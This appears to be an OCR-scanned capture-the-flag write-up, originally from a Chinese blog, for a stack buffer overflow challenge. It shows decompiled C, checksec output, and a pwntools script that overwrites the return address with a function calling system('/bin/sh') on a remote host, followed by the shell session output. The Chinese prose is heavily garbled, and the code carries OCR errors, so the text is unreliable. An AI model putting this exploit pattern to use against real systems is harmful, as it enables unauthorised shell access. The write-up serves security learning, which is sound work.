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nzw@nzw-virtual-machine: ~/£H
nzw@nzw-virtual-machine: S checksec level@
[*] !'/home/nzw/\xe6\xal\xBc\xe9\x9d\xa2/leveld'
Archz amd64-64-1little
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Stack:
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int _ cdecl main(int argc, const char **argv, const char **envp)

{
write(1, "Hello, World\n", @xDull);

return vulnerable function(1LL, "Hello, World\n");
¥

BitmBEEE
XERARFEHEME, witeup ERIXFEFH
“iX A wulnerable_function &%, T EAERR EF0x200N7%, BRFERATA ABHTH N, BaEEREMIE, HFEFHTR, AT


https://blog.csdn.net/nzw1134864657
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/nzw1134864657/article/details/97131766

BAVEPATHTE . BEEANE H K2 E AT system("/bin/sh”). ”

ssize t vulnerable_function()
{

char buf; // [rsp+8h] [rbp-88h]

return read(@, &buf, @x200ulLLl);
}
IRFRATEE 2 R Fbin/sh
RIFcallsystem B, FRATH PAHEIR [5] Mo bk 2 sicallsystem bl , AT SEELIR R )
|| resister_tm_clones . Lext
_L__do_global_dtors_aux . text
| f| frane_dunmy . text
[l callsysten :
_Lvulnerable_function . text
_Llain . tex
_L__libc_csu_init . text

int callsystem()

{
h

return system("/bin/sh");
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from pwn import *

p = remote("111.198.29.45","36136")
call system = 0x400596

payload = 0x88*'a' + p64(call system)
p.sendline(payload)

p.interactive()
H Y —iEt K T flag

nzw@nzw-virtual-machine: ~/&£ @&

nzw@nzw-virtual-machine: $ python 1.py

[+] Opening connection to 111.198.29.45 on port 36136: Done
[*] switching'to interactive mode

Hello, “Wortd

: 2: flag: not found
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